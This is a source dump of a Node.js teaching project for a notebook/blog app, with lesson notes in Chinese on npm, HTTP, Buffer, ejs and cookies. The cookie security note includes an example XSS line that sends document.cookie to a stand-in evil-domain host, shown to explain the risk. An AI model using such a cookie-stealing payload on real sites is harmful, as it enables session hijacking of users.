47 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /public/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "public", 3 | "version": "1.0.0", 4 | "description": "front-end for pure-node-notebook", 5 | "main": "index.js", 6 | "author": "slashhuang", 7 | "scripts": { 8 | "start": "rm -rf dist && webpack --config ./build/webpack.config.js", 9 | "build": "NODE_ENV=prod webpack --config ./build/webpack.config.js" 10 | }, 11 | "keywords": [ 12 | "webpack", 13 | "notebook" 14 | ], 15 | "devDependencies": { 16 | "babel-core": "^6.13.2", 17 | "babel-loader": "^6.2.4", 18 | "babel-plugin-add-module-exports": "^0.2.1", 19 | "babel-plugin-transform-es3-member-expression-literals": "^6.8.0", 20 | "babel-plugin-transform-es3-property-literals": "^6.8.0", 21 | "babel-plugin-transform-object-assign": "^6.8.0", 22 | "babel-polyfill": "^6.13.0", 23 | "babel-preset-es2015": "^6.13.2", 24 | "babel-preset-react": "^6.24.1", 25 | "babel-preset-stage-0": "^6.5.0", 26 | "babel-register": "^6.24.0", 27 | "copy-webpack-plugin": "^3.0.1", 28 | "css-loader": "^0.27.3", 29 | "extend": "^3.0.0", 30 | "extract-text-webpack-plugin": "^2.1.0", 31 | "file-loader": "~0.8.4", 32 | "html-loader": "^0.4.0", 33 | "less": "^2.7.2", 34 | "less-loader": "^2.2.1", 35 | "node-sass": "^3.13.1", 36 | "sass-loader": "^3.1.2", 37 | "style-loader": "~0.12.3", 38 | "url-loader": "~0.5.6", 39 | "webpack": "^2.3.3", 40 | "webpack-notifier": "^1.3.0", 41 | "yargs": "^7.1.0" 42 | }, 43 | "license": "ISC", 44 | "dependencies": { 45 | "antd": "^2.9.1", 46 | "axios": "^0.16.1", 47 | "highlight.js": "^9.10.0", 48 | "jquery": "^3.2.1", 49 | "marked": "^0.3.6", 50 | "react": "^15.5.4", 51 | "react-dom": "^15.5.4" 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /test/buffer.js: -------------------------------------------------------------------------------- 1 | //The Buffer class was introduced as part of the Node.js API 2 | //to make it possible to interact with octet streams 3 | //in the context of things like TCP streams and file system operations. 4 | 5 | 6 | 7 | //the JavaScript language had no mechanism 8 | //for reading or manipulating streams of binary data 9 | //Uint8Array==> 8-bit unsigned integers 10 | 11 | 12 | // const fs = require('fs'); 13 | const assert = require('assert'); 14 | // 断言 15 | // Buffer方法 16 | //----学习Buffer.from()------- Buffer.from参数及数据转换 17 | 18 | //1. (string,encoding) 19 | // const encodingTest = 'hello world' 20 | // //[0x68,0x65,0x6c,0x6c,0x6f,0x20,0x77,0x6f,0x72,0x6c,0x64] 21 | // let buf1 = Buffer.from(encodingTest,'utf8'); 22 | // console.log(buf1) 23 | // //1. (buffer) 24 | // let buf2 = Buffer.from([0x68,0x65,0x6c,0x6c,0x6f,0x20,0x77,0x6f,0x72,0x6c,0x64]) 25 | 26 | // console.log(buf2.toString()) 27 | // assert.equal(buf2.toString(),encodingTest) 28 | 29 | // // buffer转码问题之-----------汉子转码问题 30 | // //汉字需要三位buffer来标示. 31 | // let test = `窗`;// [0xe7 ,0xaa ,0x97] 32 | // console.log(Buffer.from(test)) 33 | 34 | // //----------- Buffer.concat参数及数据转换 35 | // // 1. 将buffer数组,组合成新的buffer. 36 | // // 使用方式: Buffer.concat(list[, totalLength]) 37 | // let test = `窗`;// [0xe7 ,0xaa ,0x97] 38 | // let buf3 =Buffer.from([0xe7]); 39 | // let buf4 =Buffer.from([0xaa]); 40 | // let buf5 =Buffer.from([0x97]); 41 | // //concat的作用是讲buffer拼接成大的buffer 42 | // console.log(Buffer.concat([buf3,buf4,buf5],3).toString('utf8')) 43 | 44 | 45 | //----------- Buffer应用场景 46 | /*1、stream读取字节丢失问题,不过Node已经帮你做了兼容*/ 47 | const fs = require('fs'); 48 | let data = fs.createReadStream('./test/tmp',{ 49 | highWaterMark:1, 50 | // encoding:"utf8" 51 | }); 52 | let out = []; 53 | data.on('data',(chunk)=>{ 54 | out.push(chunk) 55 | }).on('end',()=>{ 56 | console.log(Buffer.concat(out).toString()) 57 | }); 58 | 59 | 60 | -------------------------------------------------------------------------------- /app/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 主要核心逻辑入口 3 | */ 4 | 5 | const fs = require('fs'); 6 | const path = require('path'); 7 | class App { 8 | constructor(){ 9 | this.middlewareArr = []; 10 | //设计一个空的Promise 11 | this.middlewareChain = Promise.resolve(); 12 | } 13 | use(middleware){ 14 | this.middlewareArr.push(middleware); 15 | } 16 | //创建Promise链条 17 | composeMiddleware(context){ 18 | let { middlewareArr }= this 19 | //根据中间件数组 创建Promise链条 20 | // iterator 21 | for(let middleware of middlewareArr){ 22 | this.middlewareChain = this.middlewareChain.then(()=>{ 23 | return middleware(context) 24 | }) 25 | } 26 | return this.middlewareChain 27 | } 28 | initServer(){ 29 | //初始化的工作 30 | return (request,response)=>{ 31 | let { url,method } = request; //==> 解构赋值 let url = request.url 32 | // 所有以action结尾的url,认为它是ajax 33 | // DRY 34 | //返回的字符串或者buffer 35 | let context = { 36 | req:request, 37 | reqCtx:{ 38 | body:'',//post请求的数据 39 | query:{},//处理客户端get请求 40 | }, 41 | res:response, 42 | resCtx:{ 43 | //标示用户 44 | hasUser:false, 45 | statusMessage:'resolve ok', 46 | statusCode:200, //状态码 47 | headers:{},//response的返回报文 48 | body:'',//返回给前端的内容区 49 | } 50 | }; 51 | //request + response 52 | //Promise.resolve(参数) ==> 通过context对象来传递 53 | 54 | // 1、 每一块中间件只需要关注修改context对象即可,彼此独立 55 | // 2、 设计了use和composeMiddleware这两个api用来创建Promise链 56 | // 3、 开发者可以专注于中间件开发 57 | 58 | // 函数体可以百年不变 59 | this.composeMiddleware(context) 60 | .then(()=>{ 61 | //数组 62 | //setHeader(key,value) 63 | let { body,headers,statusCode,statusMessage } = context.resCtx; 64 | let base ={'X-powered-by':'Node.js'}; 65 | // response.setHeader('Set-Cookie','hello=wolrd') 66 | response.writeHead(statusCode,statusMessage,Object.assign(base,headers)); 67 | response.end(body) 68 | }) 69 | 70 | } 71 | } 72 | } 73 | 74 | module.exports = App 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /app/view-server/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * view-server 3 | * @Author slashhuang 4 | */ 5 | // ejs动态渲染 6 | const ejs = require('ejs'); 7 | const fs = require('fs'); 8 | const path = require('path'); 9 | const mime = require('mime'); 10 | const urlrewriteMap = require('./urlrewrite'); 11 | //路由 routes ==> controller ==> 结果 MVC 12 | module.exports = (ctx)=>{ 13 | let { reqCtx,resCtx } = ctx; 14 | let { pathname } = reqCtx; 15 | return Promise.resolve({ 16 | then:(resolve,reject)=>{ 17 | if(pathname.match('action') || pathname.match(/\./)){ 18 | resolve() 19 | }else{ 20 | const viewPath = path.resolve(__dirname,'ejs'); 21 | let ejsName = urlrewriteMap[pathname]; 22 | if(ejsName){ 23 | let layoutPath=path.resolve(viewPath,'layout.ejs'); 24 | let layoutHtml = fs.readFileSync(layoutPath,'utf8'); 25 | // new Function 26 | let render = ejs.compile(layoutHtml,{ 27 | compileDebug:true, 28 | filename:layoutPath 29 | }); 30 | 31 | let html = render({ 32 | viewName:ejsName, 33 | hasUser:resCtx.hasUser 34 | }) 35 | 36 | resCtx.headers = Object.assign(resCtx.headers,{ 37 | 'Content-Type':'text/html' 38 | }); 39 | resCtx.body = html; 40 | resolve() 41 | }else{ 42 | //重定向的功能 43 | resCtx.headers = Object.assign(resCtx.headers,{ 44 | 'Location':'/' 45 | }); 46 | resCtx.statusCode = 302; 47 | resCtx.statusMessage = 'redirect'; 48 | resCtx.body = ''; 49 | resolve() 50 | } 51 | } 52 | 53 | 54 | // if(urlMap[url]){ 55 | 56 | // let htmlPath=path.resolve(viewPath,viewName); 57 | // resCtx.headers = Object.assign(resCtx.headers,{ 58 | // 'Content-Type':mime.lookup(htmlPath) 59 | // }); 60 | // let tempStr = fs.readFileSync(htmlPath,'utf8'); 61 | // let render = ejs.compile(tempStr,{ 62 | // compileDebug:true 63 | // }); 64 | // resCtx.body = render({hello:'world'}); 65 | // resolve() 66 | // }else{ 67 | // resolve() 68 | // } 69 | } 70 | }) 71 | 72 | } 73 | 74 | -------------------------------------------------------------------------------- /doc/8th_cookie_session/knowledge.md: -------------------------------------------------------------------------------- 1 | ## cookie 和 session知识图谱 2 | 3 | ## 生成cookie 4 | 5 | 服务端header头格式 6 | 7 | ```bash 8 | Set-Cookie: = 9 | ``` 10 | 11 | ## cookie分类 12 | 13 | 1. Session cookies【会话层cookie】 14 | 15 | ```bash 16 | Set-Cookie: =;directive 17 | ``` 18 | 19 | 如果不添加任何的指令(directive)的话,cookie的有效期仅仅在浏览器(或者页面)未关闭生效。 20 | 21 | 2. 持久cookie 22 | 23 | 采用`Expires`或者`Max-Age`来控制cookie有效时间。 24 | 25 | `Expires`使用`HTTP-date timestamp`来标示,一般是UTC或者GMT时间格式。 26 | 27 | ```bash 28 | Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; 29 | ``` 30 | 31 | 3. Secure and HttpOnly cookies 32 | 33 | 一个secure的cookie只有当网站采用SSL和https协议的时候,客户端才会发送。 34 | 在chrome和火狐52版本后,如果网站不设置为https,`set-cookie`将不能使用`secure`指令. 35 | 36 | 为了避免XSS攻击,可以设置`HttpOnly`以避免js对cookie的操作。 37 | 38 | ```bash 39 | 40 | Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly 41 | 42 | ``` 43 | 44 | ## cookie作用域 45 | 46 | 采用`domain`和`path`来定义cookie的作用域。 47 | 48 | `domain`指令的作用域对子域名同样生效 49 | 50 | `path`指令是指针对客户端url做cookie的过滤限制。 51 | 52 | 53 | ```bash 54 | # 设置path='/',如下url也会match 55 | /docs 56 | ``` 57 | 58 | 59 | ## cookie安全性问题 60 | 61 | **列举如下两种情况** 62 | 63 | 1. XSS 64 | 65 | ```js 66 | (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; 67 | 68 | ``` 69 | 70 | 2. CSRF 71 | 72 | ```html 73 | 74 | 75 | ``` 76 | 77 | **解决方案** 78 | 79 | 1. input输入过滤 escape 80 | 81 | 2. 敏感动作设置较短cookie过期时间(仅针对cookie),当然这块有很多种其他做法 82 | 83 | ### 延伸阅读 84 | [cookie指令简化版](./cookie_headers.md) 85 | 86 | [set-cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) 87 | 88 | [w3.org的http协议参数规范](https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html) 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /doc/5th_buffer.md: -------------------------------------------------------------------------------- 1 | ## 第五课 Buffer和构建Promise 中间件 2 | 3 | 4 | #### 第四课作业小结 5 | 6 | > 提交网址 http://jscode.me/t/promise-url-parser-post/997/3 7 | 8 | - 知识回顾 9 | 10 | 1. 认识request和response都是stream的实例。 11 | 12 | 2. 认识如何通过stream的形式来获取客户端post的数据。 13 | 14 | 3. 认识Promise在异步处理中的使用方式,至少会使用如下三种方式。 15 | 16 | 17 | ```javascript 18 | // contructor + prototype.then/catch 形式 19 | new Promise((resolve,reject)=>{ 20 | resolve(1) 21 | }).then(val=>{}).catch(val=>{}) 22 | //Promise.resolve 参数为普通js数据类型 23 | Promise.resolve(1) 24 | //参数为thenable 25 | Promise.resolve({then:(res,rej)=>{ 26 | rej(1) 27 | }}) 28 | 29 | ``` 30 | 31 | 32 | #### 第五课内容概要 33 | ------------------------------------------------ 34 | 35 | 1. 设计expres和koa的api风格,模拟`use` `callback`方法。 36 | 37 | 2. 将request和response抽象为一个引用对象。 38 | 39 | 3. Buffer讲解 40 | 41 | 第五课的代码的改造效果 42 | 43 | ```js 44 | // index.js 45 | const http = require('http'); 46 | 47 | //中间件 48 | const staticServer = require('./app/staic-server'); 49 | const apiServer = require('./app/api'); 50 | const urlParser = require('./app/url-parser'); 51 | const PORT = 7000; 52 | 53 | /*实现类似expres或者koa框架的使用方式*/ 54 | const App =require('./app'); 55 | const server = new App(); 56 | server.use(urlParser); 57 | server.use(apiServer); 58 | server.use(staticServer); 59 | 60 | http.createServer(server.callback()).listen(PORT,()=>{ 61 | console.log(`server listening on port ${PORT}`) 62 | }); 63 | 64 | ``` 65 | 66 | [整理的buffer资料](https://github.com/slashhuang/full-stack-practice/blob/master/buffer/buffer.md) 67 | 68 | ```js 69 | 70 | let test = `窗前明月光疑是地上霜`; 71 | console.log('rawdata----',Buffer.from(test)) 72 | let data = fs.createReadStream('./tmp',{ 73 | highWaterMark:1, 74 | // encoding:"utf8" 75 | }); 76 | let out = [] 77 | data.on('data',(chunk)=>{ 78 | out.push(chunk) 79 | }).on('end',()=>{ 80 | let l = out.length; 81 | console.log(Buffer.concat(out,l).toString()) 82 | }) 83 | 84 | 85 | ``` 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /test/ejs/index.js: -------------------------------------------------------------------------------- 1 | const path =require('path'); 2 | const ejs = require('ejs'); 3 | 4 | //VUE 5 | const html = `hello 6 | <% if(world.match('jjj')){ %> 7 | <%- world %> 8 | <% }%> 9 | <%- include('./test') %> 10 | <%= hhh %>`; 11 | 12 | //==> (locals)=>'hello'+locals.world 13 | 14 | //将字符串转换成function 15 | const f1 = ejs.compile(html,{ 16 | filename:path.resolve(__filename), 17 | compileDebug:true, 18 | }); 19 | const finalStr = f1({ 20 | world:'xxxx', 21 | hhh:'' 22 | }); 23 | 24 | /* 25 | * <% %> 逻辑运算 26 | * <%- %> unescape 27 | * <%= %> escape XSS 28 | */ 29 | 30 | console.log('----',finalStr) 31 | 32 | 33 | // let test = ()=>{ 34 | // const ejs = require('ejs'); 35 | // const input = `<%- $.hello %> 36 | // <%- include('test') %> 37 | // 38 | // <%- $.script %>` 39 | 40 | /* <%= %>的作用 41 | 过滤敏感字符 比如<、> 42 | var _ENCODE_HTML_RULES = { 43 | '&': '&', 44 | '<': '<', 45 | '>': '>', 46 | '"': '"', 47 | "'": ''' 48 | }; 49 | */ 50 | /* <%- %>的作用 51 | 不过滤敏感字符 52 | */ 53 | // let func = ejs.compile(input, { 54 | // compileDebug:true, 55 | // _with:false, 56 | // filename:path.resolve(__filename), //所有include的路径相对这个路径 57 | // localsName:'$' 58 | // }); 59 | 60 | // let output = func({ 61 | // hello:'world', 62 | // script:'' 63 | // }); 64 | // console.log(output); 65 | // } 66 | 67 | // setInterval(test,10000) 68 | 69 | //解析 70 | 71 | /*第一步:generateSouce函数 72 | " ; __append( hello ) 73 | ; __append("\n ") 74 | ; __line = 2 75 | ; __append( script ) 76 | " 77 | */ 78 | /*第二步 prepend 79 | " var __output = [], __append = __output.push.bind(__output); 80 | */ 81 | 82 | 83 | /* 第三步 append 84 | " return __output.join(""); 85 | 86 | */ 87 | 88 | /* 生成function 89 | 90 | fn = new Function(opts.localsName + ', escapeFn, include, rethrow', src); 91 | 92 | */ 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /doc/2nd_http_posix.md: -------------------------------------------------------------------------------- 1 | ## 第二课 创建简单的静态资源服务器 2 | 3 | 4 | ### 知识点 5 | 6 | 7 | - [http协议概述](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview) 8 | 9 | > simple 容易阅读 10 | 11 | > extensible 通过headers语义沟通客户端和服务端 12 | 13 | > stateless but not sessionless 14 | 15 | > http连接 16 | - http 1.0 open tcp for each request/response 17 | - http 1.1 introduced piplining ==> 复用tcp 连接 18 | - http 2 单连接多信道 更加efficient 19 | 20 | > http flow 21 | - Open a TCP connection 22 | - Send an HTTP message 23 | - Read the response sent by the server 24 | 25 | --------- 26 | 27 | 28 | > HTTP Messages 29 | - request 30 | > [ method 、path 、protocal 、headers ]、body、 31 | - response 32 | > version 、statusCode 、statusMessage 、headers 、body、 33 | 34 | > [headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) 35 | 36 | > [status](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) 37 | 38 | 39 | ----------- Node -------- 40 | 41 | - [path模块](https://github.com/nodejs/node/blob/master/doc/api/path.md) 42 | 43 | - [path图解](./2nd-assets/path.png) 44 | 45 | > posix 概念: 46 | 47 | POSIX表示可移植操作系统接口(Portable Operating System Interface of UNIX,缩写为 POSIX ),POSIX标准定义了操作系统应该为应用程序提供的接口标准,是IEEE为要在各种UNIX操作系统上运行的软件而定义的一系列API标准的总称。 48 | 为一个POSIX兼容的操作系统编写的程序,应该可以在任何其它的POSIX操作系统(即使是来自另一个厂商)上编译执行 49 | 50 | > 理解基本的操作系统概念 51 | 52 | (Operating System,简称OS)是管理和控制计算机硬件与软件资源的计算机程序,是直接运行在“裸机”上的最基本的系统软件,任何其他软件都必须在操作系统的支持下才能运行 53 | 54 | 55 | - [http模块](https://github.com/nodejs/node/blob/master/doc/api/fs.md) 56 | 57 | 58 | - header信息的头都会lowerCase 59 | > writeHead 和 setHead的区别 60 | > content-type 61 | 62 | 63 | - [fs模块](https://github.com/nodejs/node/blob/master/doc/api/fs.md) 64 | 65 | > File I/O is provided by simple wrappers around standard POSIX functions 66 | > 文件读取 67 | 68 | [posix文档](https://linux.die.net/man/) 69 | 70 | > [file descriptor](http://www.sitepoint.com/accessing-the-file-system-in-node-js/) 71 | 72 | > [wiki fd](https://en.wikipedia.org/wiki/File_descriptor) 73 | 74 | In Unix and related computer operating systems, a file descriptor (FD, less frequently fildes) is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket. File descriptors form part of the POSIX application programming interface. 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "pure-node-notebook-step", 3 | "version": "1.0.0", 4 | "description": "a node note book", 5 | "main": "index.js", 6 | "directories": { 7 | "doc": "doc" 8 | }, 9 | "scripts": { 10 | "start": "nodemon --inspect index.js", 11 | "test": "nodemon --inspect test/index.js", 12 | "fe": "NODE_ENV=prod webpack --config ./public/build/webpack.config.js" 13 | 14 | }, 15 | "repository": { 16 | "type": "git", 17 | "url": "git+https://github.com/slashhuang/pure-node-notebook-step.git" 18 | }, 19 | "keywords": [ 20 | "node", 21 | "notebook" 22 | ], 23 | "author": "slashhuang", 24 | "license": "ISC", 25 | "bugs": { 26 | "url": "https://github.com/slashhuang/pure-node-notebook-step/issues" 27 | }, 28 | "homepage": "https://github.com/slashhuang/pure-node-notebook-step#readme", 29 | "devDependencies": { 30 | "lodash": "^4.17.4", 31 | "nodemon": "^1.11.0", 32 | "babel-core": "^6.13.2", 33 | "babel-loader": "^6.2.4", 34 | "babel-plugin-add-module-exports": "^0.2.1", 35 | "babel-plugin-transform-es3-member-expression-literals": "^6.8.0", 36 | "babel-plugin-transform-es3-property-literals": "^6.8.0", 37 | "babel-plugin-transform-object-assign": "^6.8.0", 38 | "babel-polyfill": "^6.13.0", 39 | "babel-preset-es2015": "^6.13.2", 40 | "babel-preset-react": "^6.24.1", 41 | "babel-preset-stage-0": "^6.5.0", 42 | "babel-register": "^6.24.0", 43 | "copy-webpack-plugin": "^3.0.1", 44 | "css-loader": "^0.27.3", 45 | "extend": "^3.0.0", 46 | "extract-text-webpack-plugin": "^2.1.0", 47 | "file-loader": "~0.8.4", 48 | "html-loader": "^0.4.0", 49 | "less": "^2.7.2", 50 | "less-loader": "^2.2.1", 51 | "node-sass": "^3.13.1", 52 | "sass-loader": "^3.1.2", 53 | "style-loader": "~0.12.3", 54 | "url-loader": "~0.5.6", 55 | "webpack": "^2.3.3", 56 | "webpack-notifier": "^1.3.0", 57 | "yargs": "^7.1.0" 58 | }, 59 | "dependencies": { 60 | "cookie": "^0.3.1", 61 | "ejs": "^2.5.6", 62 | "mime": "^1.3.4", 63 | "moment": "^2.18.1", 64 | "mongoose": "^4.9.6", 65 | "antd": "^2.9.1", 66 | "axios": "^0.16.1", 67 | "highlight.js": "^9.10.0", 68 | "jquery": "^3.2.1", 69 | "marked": "^0.3.6", 70 | "react": "^15.5.4", 71 | "react-dom": "^15.5.4" 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /doc/1st_npm_node_module_http.md: -------------------------------------------------------------------------------- 1 | 第一课 2 | 3 | ------------------------npm知识overview------------------------------------ 4 | 5 | # npm_npmscript应用 6 | 7 | ### 如何全局安装一个 node 应用? 8 | 9 | npm install -g 10 | 11 | ### package.json 有什么作用? 12 | 13 | > 配合npm使用,用来定义模块包,主要包括以下几点: 14 | 15 | > 定义模块包的依赖管理[devDependencies/dependencies]、 16 | 17 | > 定义包的基本描述信息[description、name、version等] 18 | 19 | > 定义包的使用方式[npm scripts] 20 | 21 | > 定义包的主程序入口模块标示[main] 22 | 23 | > 定义包的可执行文件地址[bin] 24 | 25 | > 定义包的bug、people、issue、license等其他信息 26 | 27 | [npm官方对package.json的描述](https://docs.npmjs.com/files/package.json) 28 | 29 | 30 | ## npm install --save app 与 npm install --save-dev app有什么区别? 31 | 32 | 相同点: 33 | 34 | > 都会在项目的node_modules目录下安装app 35 | 36 | 不同点: 37 | 38 | > package.json增量写入依赖的时候, 39 | 40 | > 分别是在dependencies和devDependencies字段下,添加app:"版本号"。 41 | 42 | > npm install will install both "dependencies" and "devDependencies" 43 | > npm install --production will only install "dependencies" 44 | > npm install --dev will only install "devDependencies" 45 | 46 | ## npm3与 npm2相比有什么改进?yarn和 npm 相比有什么优势? (选做## 题目) 47 | 48 | > npm3和npm2在安装模块的时候,策略上前者优于后者。 49 | 50 | > npm2是纯粹的不共享包原则。 51 | 52 | > npm3的优化点在于对于以字母序安装npm包的时候,优先安装在node_modules第一层级目录。 53 | 54 | > 这样做的好处是如果后续包有相关依赖则不需要重复安装。 55 | 56 | 57 | ------------------------node_modules知识overview------------------------------------ 58 | 59 | ## nodule_modules的查找路径是怎样的? 60 | 61 | > 如果require('模块id'),这个模块id不是nodejs的核心模块(比如http/path等) 62 | 63 | > 并且模块标示不以路径开始('.,../,/') 64 | 65 | > 则nodejs会不断的在上一级目录递归查找node_modules目录 66 | 67 | > 如果查找完所有的module.paths数组,都找不到改模块id,则抛错 68 | 69 | [nodejs官方说明](https://nodejs.org/api/modules.html#modules_loading_from_node_modules_folders) 70 | 71 | 72 | 73 | ------------------------commonJS知识overview------------------------------------ 74 | 75 | CommonJS规范: 76 | 77 | > 愿景是JS能够在任何地方运行 78 | > 规范涵盖了模块、二进制、buffer、I/O、网关等。Node借鉴commonJS实现了一套简易的模块系统。 79 | 80 | CommonJS模块规范: 81 | 1、模块引用 82 | var math =require('math'); 83 | 2、模块定义 84 | exports.add = function(){ 85 | console.log('math') 86 | } 87 | 3、模块标示 88 | > 小驼峰命名字符串、. 或者..路径 89 | 90 | 91 | ------------------------http模块overview------------------------------------ 92 | 93 | 94 | 95 | https://github.com/nodejs/node/blob/master/doc/api/http.md#httpcreateserverrequestlistener 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /public/js/components/detail/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 日志详情组件 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | require('./index.scss') 7 | import React,{ Component } from 'react' 8 | 9 | export default 10 | class DetailPanel extends Component{ 11 | renderTitle(){ 12 | let {title,category,_id,date} = this.props.detail 13 | return
14 |

15 | 16 | {title} 17 | 18 | { 19 | do{ 20 | if(window.hasUser){ 21 | 23 | 编辑博客 24 | 25 | }else{ 26 | null 27 | } 28 | } 29 | } 30 |

31 |

32 | 33 | 发表于 {date} 34 | 35 | 36 | by slashhuang 37 | 38 |

39 |
40 | } 41 | renderBlog(){ 42 | let {detail} = this.props 43 | if(detail.content){ 44 | return
45 | }else{ 46 | return
没有内容
47 | } 48 | } 49 | render(){ 50 | let {detail} = this.props; 51 | if(detail){ 52 | return ( 53 |
54 | {this.renderTitle()} 55 |
56 | {this.renderBlog()} 57 |
58 |

标签: 59 | {detail.category.name} 60 |

61 |
62 | ) 63 | }else{ 64 | return null 65 | } 66 | 67 | } 68 | } -------------------------------------------------------------------------------- /public/css/highlight/light.scss: -------------------------------------------------------------------------------- 1 | // .hljs{display:block;overflow-x:auto;padding:0.5em;background:#F0F0F0}.hljs,.hljs-subst{color:#444}.hljs-comment{color:#888888}.hljs-keyword,.hljs-attribute,.hljs-selector-tag,.hljs-meta-keyword,.hljs-doctag,.hljs-name{font-weight:bold}.hljs-type,.hljs-string,.hljs-number,.hljs-selector-id,.hljs-selector-class,.hljs-quote,.hljs-template-tag,.hljs-deletion{color:#880000}.hljs-title,.hljs-section{color:#880000;font-weight:bold}.hljs-regexp,.hljs-symbol,.hljs-variable,.hljs-template-variable,.hljs-link,.hljs-selector-attr,.hljs-selector-pseudo{color:#BC6060}.hljs-literal{color:#78A960}.hljs-built_in,.hljs-bullet,.hljs-code,.hljs-addition{color:#397300}.hljs-meta{color:#1f7199}.hljs-meta-string{color:#4d99bf}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:bold} 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | /* Base16 Atelier Cave Light - Theme */ 10 | /* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/cave) */ 11 | /* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */ 12 | 13 | /* Atelier-Cave Comment */ 14 | .hljs-comment, 15 | .hljs-quote { 16 | color: #655f6d; 17 | } 18 | 19 | /* Atelier-Cave Red */ 20 | .hljs-variable, 21 | .hljs-template-variable, 22 | .hljs-attribute, 23 | .hljs-tag, 24 | .hljs-name, 25 | .hljs-regexp, 26 | .hljs-link, 27 | .hljs-name, 28 | .hljs-name, 29 | .hljs-selector-id, 30 | .hljs-selector-class { 31 | color: #be4678; 32 | } 33 | 34 | /* Atelier-Cave Orange */ 35 | .hljs-number, 36 | .hljs-meta, 37 | .hljs-built_in, 38 | .hljs-builtin-name, 39 | .hljs-literal, 40 | .hljs-type, 41 | .hljs-params { 42 | color: #aa573c; 43 | } 44 | 45 | /* Atelier-Cave Green */ 46 | .hljs-string, 47 | .hljs-symbol, 48 | .hljs-bullet { 49 | color: #2a9292; 50 | } 51 | 52 | /* Atelier-Cave Blue */ 53 | .hljs-title, 54 | .hljs-section { 55 | color: #576ddb; 56 | } 57 | 58 | /* Atelier-Cave Purple */ 59 | .hljs-keyword, 60 | .hljs-selector-tag { 61 | color: #955ae7; 62 | } 63 | 64 | .hljs-deletion, 65 | .hljs-addition { 66 | color: #19171c; 67 | display: inline-block; 68 | width: 100%; 69 | } 70 | 71 | .hljs-deletion { 72 | background-color: #be4678; 73 | } 74 | 75 | .hljs-addition { 76 | background-color: #2a9292; 77 | } 78 | 79 | .hljs { 80 | display: block; 81 | overflow-x: auto; 82 | background: #efecf4; 83 | color: #585260; 84 | padding: 0.5em; 85 | } 86 | 87 | .hljs-emphasis { 88 | font-style: italic; 89 | } 90 | 91 | .hljs-strong { 92 | font-weight: bold; 93 | } 94 | -------------------------------------------------------------------------------- /public/dist/about.css: -------------------------------------------------------------------------------- 1 | .markdown { 2 | font-size: 14px; } 3 | .markdown * { 4 | word-wrap: break-word; 5 | word-break: break-all; } 6 | .markdown h1 { 7 | font-size: 23px; 8 | margin-top: 14px; } 9 | .markdown h2 { 10 | font-size: 20px; 11 | margin-top: 12px; } 12 | .markdown h3 { 13 | font-size: 17px; 14 | margin-top: 10px; } 15 | .markdown h4 { 16 | font-size: 14px; 17 | margin-top: 8px; } 18 | .markdown h5 { 19 | font-size: 11px; 20 | margin-top: 6px; } 21 | .markdown h6 { 22 | font-size: 8px; 23 | margin-top: 4px; } 24 | .markdown p { 25 | font-size: 16px; 26 | line-height: 1.7em; } 27 | .markdown pre code { 28 | width: 100%; 29 | display: block; 30 | color: #839496; } 31 | .markdown code { 32 | display: inline-block; 33 | background: #002b36; 34 | color: #108ee9; 35 | padding: 0.1em 0.5em; } 36 | .markdown blockquote { 37 | border-left: 0.4em solid #efd5b8; 38 | margin: .8em 0 .8em 1%; 39 | padding-left: 1%; 40 | line-height: 1.5; 41 | color: #808080; } 42 | .markdown a { 43 | color: #108ee9; 44 | background: transparent; 45 | text-decoration: none; 46 | outline: none; 47 | cursor: pointer; 48 | -webkit-transition: color .3s ease; 49 | transition: color .3s ease; } 50 | .markdown ol { 51 | display: block; 52 | list-style-type: decimal; 53 | padding-left: 1em; } 54 | .markdown ol li { 55 | list-style: decimal; } 56 | 57 | .blog-detail, .widgets { 58 | float: left; 59 | background: #fff; } 60 | 61 | .blog-detail { 62 | padding: 1.5em 4%; } 63 | 64 | @media screen and (min-width: 800px) { 65 | .blog-detail { 66 | width: 70%; } 67 | .widgets { 68 | width: 30%; } } 69 | 70 | @media screen and (min-width: 700px) and (max-width: 800px) { 71 | .blog-detail { 72 | width: 60%; } 73 | .widgets { 74 | width: 40%; } } 75 | 76 | @media screen and (max-width: 700px) { 77 | .blog-detail { 78 | width: 100%; } 79 | .widgets { 80 | width: 0%; } } 81 | 82 | .blog-content { 83 | padding: 1em 0; 84 | border-bottom: 1px solid #ddd; } 85 | 86 | .blog-head { 87 | border-bottom: 1px solid #ddd; } 88 | 89 | .blog-author { 90 | text-align: right; } 91 | .blog-author .date { 92 | font-size: 0.8em; } 93 | 